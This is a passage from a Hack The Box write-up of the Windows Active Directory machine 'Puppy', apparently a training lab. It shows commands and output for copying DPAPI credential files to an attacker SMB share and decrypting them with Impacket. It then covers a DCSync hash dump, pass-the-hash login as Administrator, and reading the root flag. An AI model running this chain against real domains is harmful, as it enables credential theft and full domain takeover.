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*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> copy C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 \\10.10.14.38\share

*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> copy C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 \\10.10.14.38\share

Now we have all the files we need, let’s extract the credentials.

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└─$ python3 /usr/share/doc/python3-impacket/examples/dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -password 'ChefStephxxxxx' -sid S-1-5-21-1487982659-1829050783-2281216199-1107 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

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└─$ python3 /usr/share/doc/python3-impacket/examples/dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description : 
Unknown     : 
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWayxxxxx

→ Found password FivethChipOnItsWayxxxxx for steph.cooper_adm.

Use BloodHound again.

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└─$ bloodhound-python -dc DC.PUPPY.HTB -u 'steph.cooper_adm' -p 'FivethChipOnItsWayxxxxx' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.xx.xx
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 21 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 38S

BloodHound

Import again.

BloodHound

Found out that steph.cooper_adm has DCSync.

→ We can use DCSync attack to dump all the credentials of Administrator account.

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└─$ secretsdump.py 'PUPPY.HTB/steph.cooper_adm:FivethChipOnItsWayxxxxx'@10.10.xx.xx
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xa943f13896e3e21f6c4100c7da9895a6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<SNIP>:::
<SNIP>
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<SNIP>:::
<SNIP>
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:<SNIP>
Administrator:aes128-cts-hmac-sha1-96:<SNIP>
Administrator:des-cbc-md5:<SNIP>
<SNIP>

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└─$ sudo crackmapexec winrm 10.10.xx.xx -u 'Administrator' -H '<SNIP>' -d PUPPY.HTB
HTTP        10.10.xx.xx     5985   10.10.xx.xx      [*] http://10.10.xx.xx:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.10.xx.xx     5985   10.10.xx.xx      [+] PUPPY.HTB\Administrator:<SNIP> (Pwn3d!)

→ We can access the machine as Administrator account.

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└─$ evil-winrm -i 10.10.xx.xx -u 'Administrator' -H '<SNIP>'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         5/19/2025   6:52 PM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
7c4823xxxxxxxxxxxxxxxxxxxxxxxxxx

→ Found the root.txt flag.

result

HTB Writeups
htb windows bloodhound DPAPI nmap crackmapexec impacket tools AD password cracking keepass2john keepass4brute secretsdump evil-winrm
This post is licensed under CC BY 4.0 by the author.